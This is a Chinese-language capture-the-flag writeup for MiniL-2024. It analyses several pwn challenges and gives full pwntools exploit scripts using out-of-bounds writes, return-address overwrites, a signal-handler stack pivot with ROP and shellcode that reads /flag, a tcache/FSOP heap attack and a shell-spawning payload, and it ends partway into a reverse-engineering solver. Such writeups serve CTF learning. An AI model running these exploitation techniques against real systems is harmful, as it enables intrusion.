

MiniL-2024 Writeup by `printf("m1ni1,qidong!");`

PWN

OttoShop

程序分析

首先是贴脸一个负索引越界，几乎可以改所有的全局变量。往前翻可以看到 `bss` 段一开始有一个 `flag2`，一看就很可疑

```
.bss:000000000407060 public flag2
.bss:000000000407060 ; char flag2[32]
.bss:000000000407060 ?? ?? ?? ?? ?? ?? ?? ?? ??+flag2 db 20h dup(?)
; DATA XREF: o77o0tTo0T70+1B↑o
```

可以看到只有一个交叉引用。我们点进去看看

```
unsigned __int64 o77o0tTo0T70()
{
    signed __int64 v0; // rax
    int i; // [rsp+C4h] [rbp-14h]
    unsigned __int64 v3; // [rsp+18h] [rbp-8h]

    v3 = __readfsqword(0x28u);
    if ( !strcmp(flag2, "otto") )
    {
        for ( i = 0; flag1[i]; ++i )
            flag1[i] = ~flag1[i];
        v0 = sys_execve(flag1, 0LL, 0LL);
    }
    return v3 - __readfsqword(0x28u);
}
```

发现是一个后门函数。要求 `flag2` 等于 `"otto"`，并且字符串还贴心地做了加密防止搜索。

在 `Golden` 函数里可以看到一个数组越界，可以直接覆盖到返回地址，但是要求的 `money` 写不到返回地址，所以在调用前我们需要先改 `money`。

在 666 这个选项里有一个贴脸栈溢出，但绕不过 `canary`，所以是个假溢出。

利用思路

1. 改 `money`，拿无限钱
2. 改 `flag2` 为 `"otto"`
3. 进入 666 选项，拿到进 `Golden` 函数的权限
4. 数组越界写，修改返回地址为后门函数。

exp

```
#!/usr/bin/env python3.8
from pwn import *
```

```

from ctools import *

context(os="linux", arch="amd64", terminal=['tmux', 'splitw', '-h', '-F'
'{pane_pid}', '-P'])
# context.log_level = "debug"

proc_path = './ottoshop'
libc_path = ''

conn_context(host='127.0.0.1', port=34623, level=REMOTE, proc=proc_path)
# conn_context(args = [USE_PROXY], ld_rpath = ('./ld-2.23.so', libc_path))

init_proc_with_libc(proc_path, libc_path, force=True)
DEBUG = lambda script = '': gdb.attach(io, gdbscript=script)

elf = ELF(proc_path)
# libc = ELF(libc_path, checksec=False)
io = conn()

def menu(ch):
    io.sendlineafter(b'1.buy', str(ch).encode())

def buy(idx, content):
    menu(1)
    io.sendlineafter(b'which', str(idx).encode())
    io.sendafter(b'name', content)

def exp():
    # DEBUG()
    flag1 = 0x407010
    flag2 = 0x407060

    io.sendlineafter(b'1.buy', b'666')
    io.sendlineafter(b'it', b'asd')
    buy(-0x48, b'otto')
    buy(-0x5a, b'aaaa')
    menu(3)
    io.sendlineafter(b'many', b'4')
    io.sendlineafter(b'golden', b'123')
    io.sendlineafter(b'golden', b'-')
    io.sendlineafter(b'golden', b'-')
    io.sendlineafter(b'golden', str(0x4020A4).encode())

    pass

exp()
io.interactive()
rm_core()

```

game

题目分析

题目是一个类似于华容道的游戏，但是地图并没有限制高度，也就是说我们可以在栈上自由滑动。题目开启了 PIE ，并且有一个后门函数 `backdoor` 。

利用思路

由于题目限制了移动次数，所以我们可以先把剩余步数改了。

题目一开始要求我们输入 `name` ，而 `name` 也在栈上，并且就在当前栈帧返回地址的后面。栈的排布如下：

				remain
				choice
				map
			START	
				fill
				canary
				rbp
B1	B2			ret
				name

改了步数后，我们可以考虑把返回地址的低 2 个字节改成 `backdoor` ，这样我们有 1/16 的几率可以返回到后门函数。接下来的工作就是想办法把 `B1` 和 `B2` 改成后门函数的偏移，同时保持返回地址的其他位不变。

具体的变换过程可以写一个 C 程序来模拟，反正 `name` 是完全可控的，可以自由发挥。在完成工作后我们原路返回，可以将上面的 `canary` 还原。

改完返回地址后，我们需要手动将剩余步数设为 0 来返回。

exp

```
#!/usr/bin/env python3.8
from pwn import *
from ctools import *

context(os="linux", arch="amd64", terminal=['tmux', 'splitw', '-h', '-F'
'{pane_pid}', '-P'])
context.log_level = "debug"

proc_path = './game'
libc_path = ''

conn_context(host='127.0.0.1', port=34843, level=REMOTE, proc=proc_path)
# conn_context(args = [USE_PROXY], ld_rpath = ('./ld-2.23.so', libc_path))
```

```
init_proc_with_libc(proc_path, libc_path, force=True)
DEBUG = lambda script = '': gdb.attach(io, gdbscript=script)

elf = ELF(proc_path)
# libc = ELF(libc_path, checksec=False)
io = conn()

def up(times = 1):
    io.sendafter(b'remaining', b'w' * times)

def down(times = 1):
    io.sendafter(b'remaining', b's' * times)

def left(times = 1):
    io.sendafter(b'remaining', b'a' * times)

def right(times = 1):
    io.sendafter(b'remaining', b'd' * times)

def exp():
    back_door = 0x1CD0
    # DEBUG()
    io.sendlineafter(b'name', b'aaaaaa\xe7\xec')
    io.sendlineafter(b'Enter', b'')
    io.sendlineafter(b'Enter', b'')
    up(5)
    left(3)
    down(1)
    right(2)
    up(1)
    left(1)

    down(1)
    right(2)
    down(11)

    for _ in range(3):
        left(3)
        down(1)
        right(3)
        up(1)

    left(3)
    down(2)

    right(2)

    for _ in range(3):
        up(1)
        right(1)
        down(2)
        left(1)
```

```

        up(1)

    left(2)
    up(1)

    for _ in range(3):
        right(3)
        up(1)
        left(3)
        down(1)

    right(3)
    up(2)

    up(12)
    left(1)
    down(1)

    # DEBUG('b * $rebase(0x1E77)')
    right(1)

    pause()

    io.sendline(b'ls')
    pass

# exp()
while(True):
    try:
        exp()
        break
    except EOFError:
        io.close()
        rm_core()
        # pause()
        io = conn()
io.interactive()
rm_core()

```

EasyVM 2024

程序分析

一道 VM 题，逆向不难，但是里面几乎没有漏洞。静态编译，没有 PIE。

开始先是 mmap 分配了两块空间。一块 0x1000 随机地址的代码段和一块 0x3000 的已知地址数据段。随后我们可以向代码段输入数据，最大为 0xffff。完成后必须使 read 返回 0，也就是直接关闭这边打开的端口，之后程序还会把 0 重定向到 /dev/null 防止僵尸。这意味着我们在之后不能向程序发生任何数据。

之后有一个沙箱，禁用了一些常用的系统调用，但没禁标准的 orw。

```

line  CODE  JT   JF      K
=====
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x19 0xc000003e  if (A != ARCH_X86_64) goto 0027

```

```

0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x16 0xffffffff if (A ≠ 0xffffffff) goto 0027
0005: 0x15 0x15 0x00 0x00000009 if (A = mmap) goto 0027
0006: 0x15 0x14 0x00 0x0000000b if (A = munmap) goto 0027
0007: 0x15 0x13 0x00 0x00000038 if (A = clone) goto 0027
0008: 0x15 0x12 0x00 0x00000039 if (A = fork) goto 0027
0009: 0x15 0x11 0x00 0x0000003a if (A = vfork) goto 0027
0010: 0x15 0x10 0x00 0x0000003b if (A = execve) goto 0027
0011: 0x15 0x0f 0x00 0x0000003e if (A = kill) goto 0027
0012: 0x15 0x0e 0x00 0x00000055 if (A = creat) goto 0027
0013: 0x15 0x0d 0x00 0x00000056 if (A = link) goto 0027
0014: 0x15 0x0c 0x00 0x00000057 if (A = unlink) goto 0027
0015: 0x15 0x0b 0x00 0x0000005a if (A = chmod) goto 0027
0016: 0x15 0x0a 0x00 0x0000009d if (A = prctl) goto 0027
0017: 0x15 0x09 0x00 0x00000101 if (A = openat) goto 0027
0018: 0x15 0x08 0x00 0x0000013d if (A = seccomp) goto 0027
0019: 0x15 0x07 0x00 0x00000142 if (A = execveat) goto 0027
0020: 0x15 0x06 0x00 0x000001b3 if (A = 0x1b3) goto 0027 # clone3
0021: 0x15 0x00 0x04 0x00000002 if (A ≠ open) goto 0026
0022: 0x20 0x00 0x00 0x0000001c A = flags >> 32 # open(filename, flags, mode)
0023: 0x15 0x00 0x03 0x00000000 if (A ≠ 0x0) goto 0027
0024: 0x20 0x00 0x00 0x00000018 A = flags # open(filename, flags, mode)
0025: 0x15 0x00 0x01 0x00000000 if (A ≠ 0x0) goto 0027
0026: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0027: 0x06 0x00 0x00 0x00000000 return KILL

```

之后就是启动虚拟机。内存操作只能在 `0x20240000` 到 `0x20243000` 之间，**边界检查完美得让人绝望**。里面可以说除了给我们用一次任意的系统调用外没有其它漏洞（至少我没找到），所以还是只能从系统调用里面找。

利用思路

一次系统调用肯定不能直接把 `flag` 读出来，所以我们要看看有什么办法可以控制程序。

首先我想到的是类似于 `stat` 这种可以修改用户内存的系统调用。因为程序是静态编译，没有 `PIE`，所以如果我们任意地址写，还是可以做很多事情的，例如控制 `IO` 或是 `rtld_global`。但我把 `ubuntu 22.04 Manpage` 翻了几遍，也没有找到可以控制结构体内字段的系统调用。

另一个我想到的思路就是虽然我们不能控制结构体内的字段，那索性就别控制，就算是 `0` 覆盖上去说不定也能听个响。但发现 `VM` 相关的结构体都在栈上，我们也不知道栈地址，用到的几乎就没有全局变量，所以好像也没什么用。

还有就是直接控制执行流。因为我们知道在使用 `signal` 函数时我们可以传入一个函数指针，在接受到特定信号时就会跳到上面执行。但程序可以产生什么信号呢？除去不能被捕捉的 `SIGKILL` 和 `SIGSTOP`，程序好像也不能产生什么信号。几乎所有的错误都会被检测出来并返回，包括除 `0` 异常，完美的边界检查也让程序产生不了缺页异常之类的。然后就被卡住了。。。

之后我在学一些系统调用时，发现都和内核关系很大（废话），所以就觉得可能和内核有关，然后就想开一下内核，正好我的 `google` 上又出现了 `Wings-gg` 的博客，然后就去看了一下 `Intro to Kernel Pwn` 这一篇。但是越看越感觉不太对劲，内核好像基本是提权，但这道题 `flag` 又不是 `400` 权限，所以我当场就排除了内核的可能。

虽然不是内核题，但是让我重新审视了题目的附件。给的 `.cpio` 里仔细看了一下，题目的二进制文件实际上是用 `tcp_wrapper` 启动的，并且设置了 `timeout` 为 `16` 秒。当时我的脑子里就闪过了一种可能：万一 `timeout` 时间到了，给进程发送的不是 `SIGKILL` 或是 `SIGSTOP` 呢？虽然我觉得不太可能，但也没思路，索性就把 `tcp_wrapper` 解压出来，写一个程序捕捉 `SIGALRM`，然后发现还真捕捉到了。emmmm

到这里就稍微开朗一点了，我们可以控制执行流到任意地址上，但是却不能控制参数。翻系统调用表时没发现 `signal`，那我们就用 `strace` 命令跟踪一下。

```
mmap(0x7c58fed0a000, 120059) = 0
alarm(1) = 0
rt_sigaction(SIGALRM, {sa_handler=0x5861505ee290, sa_mask=[ALRM], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7c58fea42520}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 0) = 0
```

可以看到实际上是用了 `rt_sigaction` 系统调用。下面是这个系统调用的参数：

```
int rt_sigaction(int signum, const struct sigaction *act, struct sigaction *oldact, size_t sigsetsize);
```

manpage 上对于 `struct sigaction` 的定义

```
struct sigaction {
    void (*sa_handler)(int);
    void (*sa_sigaction)(int, siginfo_t *, void *);
    sigset_t sa_mask;
    int sa_flags;
    void (*sa_restorer)(void);
};
```

用 `gdb` 调试一下，看看执行过程

注意 `gdb` 调试要设置 `handle SIGALRM pass`，不然 `gdb` 会截获程序的信号

```

endbrq
R15 0x762d8c5df040 (_rtld_global) -> 0x762d8c5e02e0 -> 0x5e0470a6d000 <- 0x10102464c457f
+RBP 0x7ffc971b5b70 -> 0x7ffc971b68e0 -> 0x7ffc971b69a0 <- 0x1
+RSP 0x7ffc971b5b70 -> 0x7ffc971b68e0 -> 0x7ffc971b69a0 <- 0x1
+RIP 0x5e0470a6e298 (handler+8) <- lea rax, [rip + 0xdb0]
[ DISASM / x86-64 / set emulate on ]
> 0x5e0470a6e298 <handler+8> lea rax, [rip + 0xdb0]
0x5e0470a6e29f <handler+15> mov rdi, rax
0x5e0470a6e2a2 <handler+18> call puts@plt <puts@plt>

0x5e0470a6e2a7 <handler+23> nop
0x5e0470a6e2a8 <handler+24> pop rbp
0x5e0470a6e2a9 <handler+25> ret

0x5e0470a6e2aa <func> endbrq
0x5e0470a6e2ae <func+4> push rbp
0x5e0470a6e2af <func+5> mov rbp, rsp
0x5e0470a6e2b2 <func+8> sub rsp, 0x60
0x5e0470a6e2b6 <func+12> mov rax, qword ptr fs:[0x28]
[ SOURCE (CODE) ]

In file: /home/chick/Project/Python/draftc.c
21 printf("SCANNING END <<<<<<<<<\n");
22 }
23
24 void
25 handler(){
> 26 printf("123\n");
27 return;
28 }
29
30 void
31 func(){
[ STACK ]
00:0000| rbp rsp 0x7ffc971b5b70 -> 0x7ffc971b68e0 -> 0x7ffc971b69a0 <- 0x1
01:0008| 0x7ffc971b5b78 -> 0x762d8c242520 (__restore_rt) <- mov rax, 0xf
02:0010| rdx 0x7ffc971b5b80 <- 0x7
03:0018| 0x7ffc971b5b88 <- 0x0
... ↓ 3 skipped
07:0038| 0x7ffc971b5ba8 <- 0x3
[ BACKTRACE ]
> 0 0x5e0470a6e298 handler+8
1 0x762d8c242520 __restore_rt
2 0x5e0470a6e2f3 func+73
3 0x5e0470a6e3da main+203
4 0x762d8c229d90 __libc_start_call_main+128
5 0x762d8c229e40 __libc_start_main+128
6 0x5e0470a6e145 _start+37

pwndbg> disassemble 0x762d8c242520
Dump of assembler code for function __restore_rt:
0x0000762d8c242520 <+0>: mov rax,0xf
0x0000762d8c242527 <+7>: syscall
0x0000762d8c242529 <+9>: nop DWORD PTR [rax+0x0]
End of assembler dump.

```

调试时可以发现捕捉到信号后会把寄存器的值放在栈上，然后跳转到 handler 上，并且返回地址被设为了 `__restore_rt`，而 dump 可以看到里面实际上就是我们熟知的 0xf 号系统调用 `rt_sigreturn`。在处理程序执行完后，会返回到这上面调用 `rt_sigreturn`，把寄存器复原重新执行原先中断处的代码。

我们再调试跟一下 signal 函数，发现实际上调用系统调用的函数是 `__libc_sigaction`。如下，将 act 的 0x10 偏移处设成了 `__restore_rt`。

```

0x7ffff7c425ba <__libc_sigaction+138> lea rax, [rip - 0xa1] <__restore_rt>
0x7ffff7c425c1 <__libc_sigaction+145> mov qword ptr [rsp + 0x10], rax
0x7ffff7c425c6 <__libc_sigaction+150> xor eax, eax
0x7ffff7c425c8 <__libc_sigaction+152> test r8, r8

0x7ffff7c425d4 <__libc_sigaction+164> movups xmmword ptr [rsp + 0x68], xmm5
0x7ffff7c425d9 <__libc_sigaction+169> movups xmmword ptr [rsp + 0x78], xmm6
0x7ffff7c425de <__libc_sigaction+174> movups xmmword ptr [rsp + 0x88], xmm7
0x7ffff7c425e6 <__libc_sigaction+182> mov r10d, 8
0x7ffff7c425ec <__libc_sigaction+188> mov eax, 0xd
> 0x7ffff7c425f1 <__libc_sigaction+193> syscall <SYS_rt_sigaction>
rdi: 0xe
rsi: 0x7ffffffffffdbb0 -> 0x555555555290 (handler) <- endbrq
rdx: 0x7ffffffffffdc50 <- 0x100000000
r10: 0x8
0x7ffff7c425f3 <__libc_sigaction+195> cmp rax, -0x1000
0x7ffff7c425f9 <__libc_sigaction+201> ja __libc_sigaction+448 <__libc_sigaction+448>

0x7ffff7c425ff <__libc_sigaction+207> mov r9d, eax
0x7ffff7c42602 <__libc_sigaction+210> test r8, r8
0x7ffff7c42605 <__libc_sigaction+213> je __libc_sigaction+380 <__libc_sigaction+380>
[ STACK ]
00:0000| rsi rsp 0x7ffffffffffdbb0 -> 0x555555555290 (handler) <- endbrq
01:0008| 0x7ffffffffffdb8 <- 0x14000000
02:0010| 0x7ffffffffffdbc0 -> 0x7ffff7c42520 (__restore_rt) <- mov rax, 0xf
03:0018| 0x7ffffffffffdbc8 <- 0x2000
04:0020| 0x7ffffffffffdbd0 <- 0x0
05:0028| 0x7ffffffffffdbd8 <- 0x0
06:0030| 0x7ffffffffffdbe0 <- 0x2f2f2f2f2f2f2f2f ('/////////')
07:0038| 0x7ffffffffffdbe8 <- 0x2f2f2f2f2f2f2f2f ('/////////')

```


观察一下这个结构体，和上面 manpage 给的结构体完全对不上。那我们在 GNU 源码里搜索一下 `__libc_sigaction` 这个函数，看看源码。

```
/* If ACT is not NULL, change the action for SIG to *ACT.
   If OACT is not NULL, put the old action for SIG in *OACT. */
int
__libc_sigaction (int sig, const struct sigaction *act, struct sigaction *oact)
{
    int result;

    struct kernel_sigaction kact, koact;

    if (act)
    {
        kact.k_sa_handler = act->sa_handler;
        memcpy (&kact.sa_mask, &act->sa_mask, sizeof (sigset_t));
        kact.sa_flags = act->sa_flags;
        SET_SA_RESTORER (&kact, act);
    }

    /* XXX The size argument hopefully will have to be changed to the
       real size of the user-level sigset_t. */
    result = INLINE_SYSCALL_CALL (rt_sigaction, sig,
                                  act ? &kact : NULL,
                                  oact ? &koact : NULL, STUB (act,
                                                                __NSIG_BYTES));

    if (oact && result ≥ 0)
    {
        oact->sa_handler = koact.k_sa_handler;
        memcpy (&oact->sa_mask, &koact.sa_mask, sizeof (sigset_t));
        oact->sa_flags = koact.sa_flags;
        RESET_SA_RESTORER (oact, &koact);
    }
    return result;
}
libc_hidden_def (__libc_sigaction)
```

发现实际上传递的时候会将 `sigaction` 结构体转成实际上传递的 `kernel_sigaction` 结构体。

```
/* This is the sigaction structure from the Linux 3.2 kernel. */
struct kernel_sigaction
{
    __sighandler_t k_sa_handler;
    unsigned long sa_flags;
#ifdef HAS_SA_RESTORER
    void (*sa_restorer) (void);
#endif
    /* glibc sigset is larger than kernel expected one, however sigaction
       passes the kernel expected size on rt_sigaction syscall. */
    sigset_t sa_mask;
};
```

如上的 `kernel_sigaction`，和我们在调试中看到的实际传递的结构体一致。

我们这时可以看一下它构造的结构体，然后把一些标志位扒下来，构造结构体，改改参数就行了。

这时我们就要想一下怎么利用了。我们可以任意执行，并且返回地址也是一个可控的地址，但是参数不可控，这里我考虑 gadget。ROPgadget 扫一下有没有可以控制 rsp 的 gadget，然后看到

```
0x00000000004047c5 : pop rsp ; ret
```

而刚到 handler 上时 rsp 其实就是指向 sa_restorer。设置 sa_restorer 指向我们的可控地址，这样就可以直接栈迁移，之后就是简单的 rop 了。

由于题目没禁 mprotect，所以后面可以直接改页权限，然后返回到上面执行 shellcode 来 orw。

exp

```
#!/usr/bin/env python3.8
from pwn import *
from ctools import *
from SomeofHouse import *

context(os="linux", arch="amd64", terminal=['tmux', 'splitw', '-h', '-F'
'{pane_pid}', '-P'])
context.log_level = "debug"

proc_path = './release/chal'
libc_path = ''

init_proc_with_libc(proc_path, libc_path)
DEBUG = lambda script = ': gdb.attach(io, gdbscript=script)

conn_context(host='124.222.230.184', port=10010, level=REMOTE, proc=proc_path)
# conn_context(args = [USE_PROXY], ld_rpath = ('./ld-2.23.so', libc_path))

elf = ELF(proc_path)
# libc = ELF(libc_path, checksec=False)
io = conn()
# io = conn(proc=['seccomp-tools', 'dump', proc_path])

def exp():
    pop_rdi = 0x4062f3
    pop_rsi = 0x404e68
    pop_rdx_rbx = 0x49688b
    mprotect = 0x460EE0

    def write_addr(start, pad):
        shellcode = []
        while len(pad) != 0:
            shellcode.append(f'SET REG0 {hex(pad[0])[2:]}'.encode())
            shellcode.append(f'STORE REG0 {hex(start)[2:]}'.encode())
            start += 8
            pad = pad[1:]
        return shellcode

    rop = [
        pop_rdi, 0x20240000,
        pop_rsi, 0x3000,
        pop_rdx_rbx, 0x7, 0,
```

```

        mprotect,
        0x20242000
    ]

    sigaction = [
        0x4047c5, # k_sa_handler: pop rsp ; ret
        0x14000000, # sa_flags
        0x20241000, # sa_restorer: rop_addr
        0x2000, # sa_mask
    ]

    shellcode = asm
    ("""
        mov rax, __NR_open
        mov rdi, 0x20240100
        xor rsi, rsi
        xor rdx, rdx
        syscall

        mov rax, __NR_sendfile
        mov rdi, 1
        mov rsi, 3
        xor rdx, rdx
        mov r10, 0x30
        syscall
    """)

    res = []
    while (len(shellcode) > 0):
        res.append(u64(shellcode[:8].ljust(0x8, b'\x00'))))
        shellcode = shellcode[8:]

    pad = []
    pad += write_addr(0x20240000, sigaction)
    pad += write_addr(0x20241000, rop)
    pad += write_addr(0x20242000, res)
    pad += write_addr(0x20240100, [u64(b'/flag'.ljust(0x8, b'\x00'))])
    pad += [
        b'SET REG0 0E', # SIGALRM
        b'SET REG1 20240000', # sigaction
        b'SET REG2 0', # old_sigaction
        b'SET REG3 8', # size
        b'INT 0D',
        b'JMP 48' # infinite loop, wait the SIGALRM arrive
    ]

    pad = b''.join([i + b'\n' for i in pad])
    print(hex(len(pad)))

    io.sendafter(b'EOF', pad)
    # DEBUG('b * 0x403EEF')
    sleep(1)
    io.shutdown('send')

```

```
pass
```

```
exp()
io.interactive()
rm_core()
```

PhoneBook

程序分析

一道高版本菜单堆。glibc 是 2.35 的。

首先是贴脸一个溢出，可以修改链表的 `next` 域的低 3 个字节，限制的因素主要是 `idx` 字段。我们要修改这个链表首先要使这个节点的 `idx` 在一个合法的范围内。

利用思路

首先我们需要先 leak libc and heap 。我们可以修改 `next` 域的低 1 个字节来使链表指向其它位置，通过错位可以改到堆块的 `size` 域。

所以我们可以先申请 28 块 chunk ，这样我们就得到了一块连续的 0x540 长的内存空间。通过修改开头的堆块的 `size` 域为 0x541 ，然后释放第一块 chunk ，我们就拿到了一块 unsorted bin chunk 。这样我们就可以 leak libc 了。至于 heap ，可以直接 leak `next` 域。

这一步因为链表的 `next` 域在下一个堆块的 `prev_size` 域上，所以我们要手动修改倒数第二个节点的 `next` 域来跳过最后一个节点。

现在我们就可以用 tcache attack 来进行任意地址读写了。这里我考虑打 IO 。

其实这道题不是很适合打 IO ，因为我们拿不到一块足够长的连续可控地址来伪造 FILE 结构体，每 0x30 大小的堆块内我们只有 0x18~0x30 这一部分可以任意写入，最好的办法还是直接覆盖栈上的返回地址。但当时因为怕本地和远程的栈不一样，所以还是选择了打 IO 。

打 IO 我们需要用 fsop 伪造一个 FILE 结构体，这里考虑用 House of Some。

接下来就是考虑怎么把 fsop 写到堆上。我们可以提前在这 28 个堆块的 `number` 字段填充为 0x33 ，用来进行后续的使用。

我们来看看每 0x30 个字段都有什么内容

```
+-----+ 0x00  <--- START
|      node_next      |
+-----+ 0x08
|      size           |
+-----+ 0x10
|      idx            |
+-----+ 0x18
|      name           |
|                     |
+-----+ 0x28
|      number         |
+-----+ 0x30  <--- END
|      node_next      |
+-----+ 0x38
|                     |
```

对于 0x0 到 0x18 这一个范围，我们可以利用上一个堆块提前布置好的字段 0x33 来取到。我们让指针指向 -0x8 的位置，这样我们就能控制这一个范围。对于 0x18 到 0x30 这一范围，我们可以直接正常写入。

综上，我们可以控制的范围覆盖了所有的字段，我们可以写一个函数来进行覆盖，注意覆盖的时候我们需要从后往前写入。

exp

```
#!/usr/bin/env python3.8
from pwn import *
from ctools import *
from SomeofHouse import *

context(os="linux", arch="amd64", terminal=['tmux', 'splitw', '-h', '-F'
'#{pane_pid}', '-P'])
# context.log_level = "debug"

proc_path = './PhoneBook'
libc_path = './libc.so.6'

init_proc_with_libc(proc_path, libc_path)
DEBUG = lambda script = ': gdb.attach(io, gdbscript=script)

conn_context(host='127.0.0.1', port=39785, level=REMOTE, proc=proc_path)
# conn_context(args = [USE_PROXY], ld_rpath = ('./ld-2.23.so', libc_path))

elf = ELF(proc_path)
libc = ELF(libc_path, checksec=False)
io = conn()

def add(name, num):
    io.sendlineafter(b'Choice', b'1')
    if len(name) > 15: name = name[:15]
    if len(num) > 11: num = num[:11]
    io.sendafter(b'Name', name)
    io.sendafter(b'Number', num)

def delete(idx):
    io.sendlineafter(b'Choice', b'2')
    io.sendlineafter(b'Index', str(idx).encode())

def show():
    io.sendlineafter(b'Choice', b'3')

def edit(idx, name, num):
    io.sendlineafter(b'Choice', b'4')
    io.sendlineafter(b'Index', str(idx).encode())
    if len(name) > 15: name = name[:15]
    if len(num) > 11: num = num[:11]
    io.sendafter(b'Name', name)
    io.sendafter(b'Number', num)

def reveal_ptr(ptr, addr):
```

```

return (addr >> 12) ^ ptr

def exp():
    """ ALLOC CHUNKS """
    add(b'asd', b'asd') # 1
    add(b'asd', b'asd') # 2

    for _ in range(28):
        add(p64(0x33), p64(0x33)) # 3 - 30

    add(b'asd', b'asd') # 31 gap

    """ LEAK LIBC AND HEAP """
    edit(2, b'a' * 0x8 + b'\x03', b'a' * 0x8 + b'\x10')
    edit(3, b'asd', p64(0x541))
    edit(2, b'asd', b'a' * 0x8 + b'\x30')

    # skip the last chunk #30
    edit(29, b'asd', b'a' * 8 + b'\x70')

    delete(3)

    add(b'asd', b'asd') # 32

    show()

    io.recvuntil(b'\xe0')
    libc.address = u64((b'\xe0' + io.recv(5)).ljust(8, b'\x00')) - 0x219ce0
    success(hex(libc.address))

    io.recvuntil(b'a' * 8)
    heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x870
    success(hex(heap_base))

    """ TCACHE ATTACK """
    delete(29)
    delete(32)
    edit(2, b'asd', b'a' * 8 + b'\x28')

    edit(0x31, p64(reveal_ptr(libc.symbols['_IO_list_all'] - 0x10, heap_base +
0x330)), b'asd')
    edit(2, b'asd', b'a' * 8 + b'\x60')

    fsop = heap_base + 0x3b0
    success(hex(fsop))

    add(b'asd', b'asd') # 33
    add(b'a' * 8 + p64(fsop), b'asd') # 34

    """ HOUSE OF SOME """
    def write_addr(pad: bytes, base = fsop):
        blocks = len(pad) // 0x30
        if len(pad) % 0x30 != 0: blocks += 1
        pad = pad.ljust(blocks * 0x30, b'\x00')

```

```

idx = blocks - 1

while idx ≥ 0:
    block = pad[0x30 * idx : 0x30 * (idx + 1)]
    # 0x18 ~ 0x30
    edit(2, b'asd', b'a' * 8 + p64(base + idx * 0x30 + 0x10))
    edit(idx + 6, block[0x18:0x28], block[0x28:0x30])
    # 0x0 ~ 0x18
    edit(2, b'asd', b'a' * 8 + p64(base + idx * 0x30 - 0x8))
    edit(0x33, block[0:0x10], block[0x10:0x18])
    idx -= 1

hos = HouseOfSome(libc, fsop)
hos.controlled_addr += hos.hoi_read_file_length

pad = hos.hoi_read_file_template(hos.controlled_addr, 0x400,
hos.controlled_addr, 0)
write_addr(pad)

# DEBUG('b * read')
io.sendlineafter(b'Choice', b'5')
io.recvuntil(b'! \n')

hos.bomb(io)
pass

exp()
io.interactive()
rm_core()

```

2bytes

题目分析

存在溢出，可以直接覆盖来绕过判断。我们可以写的 shellcode 长度为 7。但是程序会直接跳到第 5 个字节来运行。

利用思路

在 7 个字节的最后 2 个字节，我们可以用短转移来跳到最开始的地方，这样我们就有 5 个字节可以利用。

调试发现可以看到 `rdx` 就是跳转地址，而 `rsi` 是 0x1000，`rax` 是 0，`rdi` 也是 0。如果我们想要二次读入，刚好 `rdx` 和 `rsi` 的参数反了。所以我们可以用 `xchg` 指令来交换 `rdx` 和 `rsi` 寄存器，占 3 个字节，然后接 `syscall` 刚好可以二次读入，共 5 个字节。

这里吐槽一下远程环境，感觉远程的环境就不是用 docker 上的。给的 dockerfile 明确是用 Ubuntu 22.04，而本地主机就是 Ubuntu 22.04，本地和构建的 docker 都通了，上 docker 一看内核和 libc 版本和主机是完全一样的，但是远程却通不了。细看了一下，远程的栈和本地不一样，而且本地的 read 系统调用在 `rdx` 很大的时候是可以通的，但远程的却通不了，推测是内核不一样（栈不一样可能连 libc 的大版本都不一样，因为我 patch 了 5 个 2.35 的小版本都通了，而其他的大版本才通不了）。

exp

```

#!/usr/bin/env python3.8
from pwn import *

```

```

from ctools import *

context(os="linux", arch="amd64", terminal=['tmux', 'splitw', '-h', '-F'
'{pane_pid}', '-P'])
# context.log_level = "debug"

proc_path = './docker/pwn'
libc_path = ''

init_proc_with_libc(proc_path, libc_path)
DEBUG = lambda script = '': gdb.attach(io, gdbscript=script)

conn_context(host='127.0.0.1', port=35187, level=REMOTE, proc=proc_path)
# conn_context(args = [USE_PROXY], ld_rpath = ('./ld-2.23.so', libc_path))

elf = ELF(proc_path)
# libc = ELF(libc_path, checksec=False)
io = conn()

def exp():
    def encode(pad: bytes):
        assert len(pad) == 7
        pad = bytearray(pad)
        for i in range(4, -1, -1):
            pad[i + 2] = pad[i + 2] ^ pad[i] ^ pad[i + 1]
        return bytes(pad)

    pad = asm('xchg rsi, rdx\nsyscall\n')
    pad += b'\xeb\xef'

    # DEBUG('b * $rebase(0x12B0)')

    pad = encode(pad)
    io.send(pad + b'\x00' + pad)
    io.send(asm(shellcraft.sh()))

    pass

exp()
io.interactive()
rm_core()

```

Reverse

BigBanana

Debug 可以找到主函数，发现是一个类似于 VM 的东西，有一个栈、一个指令序列和 ~~4~~ 一个寄存器。指令序列就在全局变量里，而栈是运行时分配的。具体的逻辑可以看下面的代码。

加密的大致逻辑是从键盘一个一个读入字符，然后进行一些相加、异或等运算。因为后面的结果要用到前面的结果，每次尝试都要从头开始运行，所以我们要写一个 dfs 搜索可能的结果。

```
#include <iostream>
```



```

#include <stack>
using namespace std;

unsigned char intr_list[] = {246, 0, 0, 0, 108, 0, 0, 0, 246, 0, 0, 0, 102, 0,
0, 0, 246, ...};

unsigned char ans[0x1000];
int ans_i;

int idx = 0xb40 / 4;

stack<int> s;

int
check()
{
    unsigned char tmp;
    int now_idx = idx;
    int now_ans_i = 0;
    int *intr_list_i = (int*)intr_list;
    int p1 = 0, p2 = 0, p3 = 0, p4 = 0;
    int flag = 0;
    while(!s.empty())
        s.pop();

    while(intr_list_i[now_idx] != 0){
        switch(intr_list_i[now_idx]){
            case 1:
                p2 += intr_list_i[now_idx + 1];
                now_idx += 2;
                break;
            case 16:
                tmp = ans[now_ans_i++];
                s.push(tmp);
                now_idx += 1;
                break;
            case 17:
                printf("%c", p1);
                now_idx += 1;
                break;
            case 240:
                p1 = p2;
                now_idx += 1;
                break;
            case 241:
                p4 = p2;
                now_idx += 1;
                break;
            case 242:
                if(p1 == intr_list_i[now_idx + 1]){
                    flag = 1;
                    if(now_ans_i == ans_i)
                        return 1;
                }
        }
    }
}

```

```

        else {
            flag = 0;
        }
        now_idx += 2;
        break;
    case 243:
        p1 ^= p2;
        now_idx += 1;
        break;
    case 244:
        p1 += intr_list_i[now_idx + 1];
        now_idx += 2;
        break;
    case 245:
        intr_list_i[now_idx + 1] -= intr_list_i[now_idx + 2];
        now_idx += 3;
        break;
